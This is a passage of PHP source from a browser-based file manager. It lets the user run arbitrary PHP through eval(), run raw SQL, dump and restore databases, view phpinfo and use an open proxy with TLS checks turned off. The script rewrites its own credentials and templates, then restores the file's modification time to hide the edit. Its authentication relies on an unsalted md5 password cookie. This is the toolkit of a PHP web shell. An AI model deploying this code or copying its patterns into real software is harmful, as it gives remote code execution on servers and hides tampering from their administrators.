	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hn